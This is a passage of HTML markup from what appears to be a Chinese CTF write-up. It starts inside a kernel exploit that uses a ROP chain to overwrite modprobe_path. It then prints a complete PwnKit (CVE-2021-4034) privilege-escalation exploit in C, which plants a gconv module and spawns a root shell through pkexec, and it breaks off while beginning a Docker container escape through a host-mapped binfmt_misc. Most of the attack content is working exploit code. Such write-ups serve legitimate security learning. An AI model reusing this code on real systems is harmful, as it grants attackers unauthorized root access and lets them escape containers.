class="code-snippet_outer">        &#34;mov r14, g_modprobe_path;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov r13, pop_rdi_ret;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov r12, 0x0000782f706d742f;&#34; // /tmp/x\x00</span></code><code><span class="code-snippet_outer">        &#34;mov rbp, mov_ptr_rax_rdi_ret;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov rbx, g_do_task_dead;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov r11, 0x77777777;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov r10, 0x88888888;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov r9,  0x99999999;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov r8,  0xaaaaaaaa;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov rcx, 0x666666;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov rdx, 8;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov rsi, rsp;&#34;</span></code><code><span class="code-snippet_outer">        &#34;mov rdi, seq_fd;&#34;</span></code><code><span class="code-snippet_outer">        &#34;xor rax, rax;&#34;</span></code><code><span class="code-snippet_outer">        &#34;syscall&#34;</span></code><code><span class="code-snippet_outer">    );</span></code><code><span class="code-snippet_outer">    // read(seq_fd, fake_seq_operations, 1);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int main() {</span></code><code><span class="code-snippet_outer">    setup();</span></code><code><span class="code-snippet_outer">    leak();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    // breakpoint();</span></code><code><span class="code-snippet_outer">    hijack();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    // breakpoint();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    return 0;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="margin-bottom: 0px;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259" style="margin-bottom: 24px;"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;background-color: #7ac259;box-sizing: border-box;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__9986"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: #7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__9987" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><span style="font-size:18px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)">Be-a-PK-LPE-Master</span></strong></section></section></section></section></section><p style="margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;">连接端口后，题目提示默认用户名为 user， 空口令登陆。 </span></p><p style="margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;"><br/></span></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="133" data-backw="417" data-ratio="0.31894484412470026" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="417" src="https://wechat2rss.xlab.app/img-proxy/?k=26fc6079&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxenibsomAPiabukFoRSDeId0Jd4Um0Uj4WYbxVIPAwTQ7jxlM2XOk4shw%2F640%3Fwx_fmt%3Dpng"/></section><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1nwk1ss4j3b7js8&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;发现需要提权才能获取 flag ，  从题目名称中我们可以猜测出我们需要利用 pkexec 的漏洞进行提权， 固尝试使用 CVE-2021-4034 进行提权。&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1pcdgdquvlezf0ji&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1qrfzkf405w17qq&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;exploit 参考：&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3ExbndrMXNzNGozYjdqczglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTUlOEYlOTElRTclOEUlQjAlRTklOUMlODAlRTglQTYlODElRTYlOEYlOTAlRTYlOUQlODMlRTYlODklOEQlRTglODMlQkQlRTglOEUlQjclRTUlOEYlOTYlMjBmbGFnJTIwJUVGJUJDJThDJTIwJTIwJUU0JUJCJThFJUU5JUEyJTk4JUU3JTlCJUFFJUU1JTkwJThEJUU3JUE3JUIwJUU0JUI4JUFEJUU2JTg4JTkxJUU0JUJCJUFDJUU1JThGJUFGJUU0JUJCJUE1JUU3JThDJTlDJUU2JUI1JThCJUU1JTg3JUJBJUU2JTg4JTkxJUU0JUJCJUFDJUU5JTlDJTgwJUU4JUE2JTgxJUU1JTg4JUE5JUU3JTk0JUE4JTIwcGtleGVjJTIwJUU3JTlBJTg0JUU2JUJDJThGJUU2JUI0JTlFJUU4JUJGJTlCJUU4JUExJThDJUU2JThGJTkwJUU2JTlEJTgzJUVGJUJDJThDJTIwJUU1JTlCJUJBJUU1JUIwJTlEJUU4JUFGJTk1JUU0JUJEJUJGJUU3JTk0JUE4JTIwQ1ZFLTIwMjEtNDAzNCUyMCVFOCVCRiU5QiVFOCVBMSU4QyVFNiU4RiU5MCVFNiU5RCU4MyVFMyU4MCU4MiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxjcTFwY2RnZHF1dmxlemYwamklMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3ExcXJmemtmNDA1dzE3cXElMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJleHBsb2l0JTIwJUU1JThGJTgyJUU4JTgwJTgzJUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p><br/></p></article><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1nwk1ss4j3b7js8&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;发现需要提权才能获取 flag ，  从题目名称中我们可以猜测出我们需要利用 pkexec 的漏洞进行提权， 固尝试使用 CVE-2021-4034 进行提权。&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1pcdgdquvlezf0ji&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1qrfzkf405w17qq&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;exploit 参考：&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3ExbndrMXNzNGozYjdqczglMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTUlOEYlOTElRTclOEUlQjAlRTklOUMlODAlRTglQTYlODElRTYlOEYlOTAlRTYlOUQlODMlRTYlODklOEQlRTglODMlQkQlRTglOEUlQjclRTUlOEYlOTYlMjBmbGFnJTIwJUVGJUJDJThDJTIwJTIwJUU0JUJCJThFJUU5JUEyJTk4JUU3JTlCJUFFJUU1JTkwJThEJUU3JUE3JUIwJUU0JUI4JUFEJUU2JTg4JTkxJUU0JUJCJUFDJUU1JThGJUFGJUU0JUJCJUE1JUU3JThDJTlDJUU2JUI1JThCJUU1JTg3JUJBJUU2JTg4JTkxJUU0JUJCJUFDJUU5JTlDJTgwJUU4JUE2JTgxJUU1JTg4JUE5JUU3JTk0JUE4JTIwcGtleGVjJTIwJUU3JTlBJTg0JUU2JUJDJThGJUU2JUI0JTlFJUU4JUJGJTlCJUU4JUExJThDJUU2JThGJTkwJUU2JTlEJTgzJUVGJUJDJThDJTIwJUU1JTlCJUJBJUU1JUIwJTlEJUU4JUFGJTk1JUU0JUJEJUJGJUU3JTk0JUE4JTIwQ1ZFLTIwMjEtNDAzNCUyMCVFOCVCRiU5QiVFOCVBMSU4QyVFNiU4RiU5MCVFNiU5RCU4MyVFMyU4MCU4MiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydXVpZCUyMiUzQSUyMmxjcTFwY2RnZHF1dmxlemYwamklMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3ExcXJmemtmNDA1dzE3cXElMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJleHBsb2l0JTIwJUU1JThGJTgyJUU4JTgwJTgzJUVGJUJDJTlBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size: 15px;">发现需要提权才能获取 flag ，从题目名称中可以猜测出我们需要利用 pkexec 的漏洞进行提权， 故尝试使用 CVE-2021-4034 进行提权。</span></p><p><br/></p><p style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size: 15px;">exploit 参考：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">#include &lt;stdio.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;stdlib.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;unistd.h&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">char *shell = </span></code><code><span class="code-snippet_outer">  &#34;#include &lt;stdio.h&gt;\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;#include &lt;stdlib.h&gt;\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;#include &lt;unistd.h&gt;\n\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;void gconv() {}\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;void gconv_init() {\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;  setuid(0); setgid(0);\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;  seteuid(0); setegid(0);\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;  system(\&#34;export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf &#39;GCONV_PATH=.&#39; &#39;pwnkit&#39;; /bin/sh\&#34;);\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;  exit(0);\n&#34;</span></code><code><span class="code-snippet_outer">  &#34;}&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int main(int argc, char *argv[]) {</span></code><code><span class="code-snippet_outer">  FILE *fp;</span></code><code><span class="code-snippet_outer">  system(&#34;mkdir -p &#39;GCONV_PATH=.&#39;; touch &#39;GCONV_PATH=./pwnkit&#39;; chmod a+x &#39;GCONV_PATH=./pwnkit&#39;&#34;);</span></code><code><span class="code-snippet_outer">  system(&#34;mkdir -p pwnkit; echo &#39;module UTF-8// PWNKIT// pwnkit 2&#39; &gt; pwnkit/gconv-modules&#34;);</span></code><code><span class="code-snippet_outer">  fp = fopen(&#34;pwnkit/pwnkit.c&#34;, &#34;w&#34;);</span></code><code><span class="code-snippet_outer">  fprintf(fp, &#34;%s&#34;, shell);</span></code><code><span class="code-snippet_outer">  fclose(fp);</span></code><code><span class="code-snippet_outer">  system(&#34;gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC&#34;);</span></code><code><span class="code-snippet_outer">  char *env[] = { &#34;pwnkit&#34;, &#34;PATH=GCONV_PATH=.&#34;, &#34;CHARSET=PWNKIT&#34;, &#34;SHELL=pwnkit&#34;, NULL };</span></code><code><span class="code-snippet_outer">  execve(&#34;/usr/bin/pkexec&#34;, (char*[]){NULL}, env);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="margin-bottom: 0px;"><br/></section><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="157" data-backw="578" data-ratio="0.2713178294573643" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=2e4eaf66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx6LaXnNM40Z8onf5l5EGhjey3nuBLmyomqIgoWI20792B8xgAQNVELw%2F640%3Fwx_fmt%3Dpng"/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcq1pcpp3mkkz1n6p2d&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;这里还有一个小故事， 新版的 Kernel会处理execve 的 &#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(0, 0, 0)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;argv[0]&#34;],[&#34;span&#34;,{&#34;color&#34;:&#34;rgb(0, 0, 0)&#34;,&#34;highlight&#34;:&#34;rgba(0, 0, 0, 0)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34; 是 &#34;],[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;NULL 的情况，因此 pkexec 这个漏洞在较版本 Kernel 是不能用的 。 具体情况可以参考： &#34;]],[&#34;a&#34;,{&#34;href&#34;:&#34;https://lwn.net/Articles/882799/&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;highlight&#34;:&#34;rgba(0, 0, 0, 0)&#34;,&#34;sz&#34;:12,&#34;szUnit&#34;:&#34;pt&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;Handling argc==0 in the kernel [LWN.net]&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3ExcGNwcDNta2t6MW42cDJkJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JUJGJTk5JUU5JTg3JThDJUU4JUJGJTk4JUU2JTlDJTg5JUU0JUI4JTgwJUU0JUI4JUFBJUU1JUIwJThGJUU2JTk1JTg1JUU0JUJBJThCJUVGJUJDJThDJTIwJUU2JTk2JUIwJUU3JTg5JTg4JUU3JTlBJTg0JTIwS2VybmVsJUU0JUJDJTlBJUU1JUE0JTg0JUU3JTkwJTg2ZXhlY3ZlJTIwJUU3JTlBJTg0JTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYXJndiU1QjAlNUQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2xvciUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQSUyMnJnYigwJTJDJTIwMCUyQyUyMDApJTIyJTdEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVDMiVBMCVFNiU5OCVBRiUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvbG9yJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBJTIycmdiKDAlMkMlMjAwJTJDJTIwMCklMjIlN0QlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyaGlnaGxpZ2h0JTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBJTIycmdiYSgwJTJDJTIwMCUyQyUyMDAlMkMlMjAwKSUyMiU3RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJOVUxMJTIwJUU3JTlBJTg0JUU2JTgzJTg1JUU1JTg2JUI1JUVGJUJDJThDJUU1JTlCJUEwJUU2JUFEJUE0JTIwcGtleGVjJTIwJUU4JUJGJTk5JUU0JUI4JUFBJUU2JUJDJThGJUU2JUI0JTlFJUU1JTlDJUE4JUU4JUJFJTgzJUU3JTg5JTg4JUU2JTlDJUFDJTIwS2VybmVsJTIwJUU2JTk4JUFGJUU0JUI4JThEJUU4JTgzJUJEJUU3JTk0JUE4JUU3JTlBJTg0JTIwJUUzJTgwJTgyJTIwJUU1JTg1JUI3JUU0JUJEJTkzJUU2JTgzJTg1JUU1JTg2JUI1JUU1JThGJUFGJUU0JUJCJUE1JUU1JThGJTgyJUU4JTgwJTgzJUVGJUJDJTlBJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaW5rJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmhyZWYlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmx3bi5uZXQlMkZBcnRpY2xlcyUyRjg4Mjc5OSUyRiUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkhhbmRsaW5nJTIwYXJnYyUzRCUzRDAlMjBpbiUyMHRoZSUyMGtlcm5lbCUyMCU1QkxXTi5uZXQlNUQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoaWdobGlnaHQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ElMjJyZ2JhKDAlMkMlMjAwJTJDJTIwMCUyQyUyMDApJTIyJTdEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnN6JTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBMTIlMkMlMjJzelVuaXQlMjIlM0ElMjJwdCUyMiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="line-height: 1.75em;text-align: left;"><span style="font-size: 15px;letter-spacing: normal;">这里还有一个小故事， 新版的 Kernel 会处理 execve 的 argv[0] 是 NULL 的情况，因此 pkexec 这个漏洞在较新版本 Kernel 是不能用的 。 具体情况可以参考：</span></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size: 15px;letter-spacing: normal;">Handling argc==0 in the kernel [LWN.net] </span><span style="font-size: 15px;letter-spacing: normal;color: rgb(77, 189, 199);text-decoration: none;">(</span><span style="font-size: 15px;letter-spacing: normal;color: rgb(77, 189, 199);text-decoration: underline;"><a href="https://lwn.net/Articles/882799/" target="_blank">https://lwn.net/Articles/882799/</a></span><span style="font-size: 15px;letter-spacing: normal;color: rgb(77, 189, 199);text-decoration: none;">）</span></p><article data-clipboard-cangjie="[&#34;root&#34;,{},[&#34;p&#34;,{},[&#34;a&#34;,{&#34;href&#34;:&#34;https://lwn.net/Articles/882799/&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;highlight&#34;:&#34;rgba(0, 0, 0, 0)&#34;,&#34;sz&#34;:12,&#34;szUnit&#34;:&#34;pt&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;Handling argc==0 in the kernel [LWN.net]&#34;]]]]]"><p style="text-align: left;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;background-color: #7ac259;box-sizing: border-box;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__9988"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: #7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__9989" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><span style="font-size:18px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)">Be-a-Docker-Escaper-2</span></strong></section></section></section></section></section><p style="text-align: left;"><br/></p></article><p style="line-height:1.75em;"><span style="font-size:15px;">通过 ssh 获取题目 shell 后，可以发现是在容器环境中。仔细看根目录可以看到容器环境将 HOST 的 <span style="background-color: rgb(166, 166, 166);">/proc/sys/fs/binfmt_misc/</span> 目录映射到了容器的 <span style="background-color: rgb(166, 166, 166);">/binfmt_misc</span>。</span></p><p><br/></p><p style="margin-bottom: 0px;line-height: 1.75em;text-align: left;"><span style="caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);font-size: 15px;">通过了解资料知道 Linux 内核有一个名为<span style="font-size: 15px;background-color: rgb(166, 166, 166);">Miscellaneous Binary Forma（binfmt_misc）</span>的机制，可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节（Magic Byte）来判断应该如何打开文件</span></p><section style="margin-bottom: 0px;"><br/></section><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;">其 binfmt 的格式如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><section style="margin-bottom: 0px;"><code><span 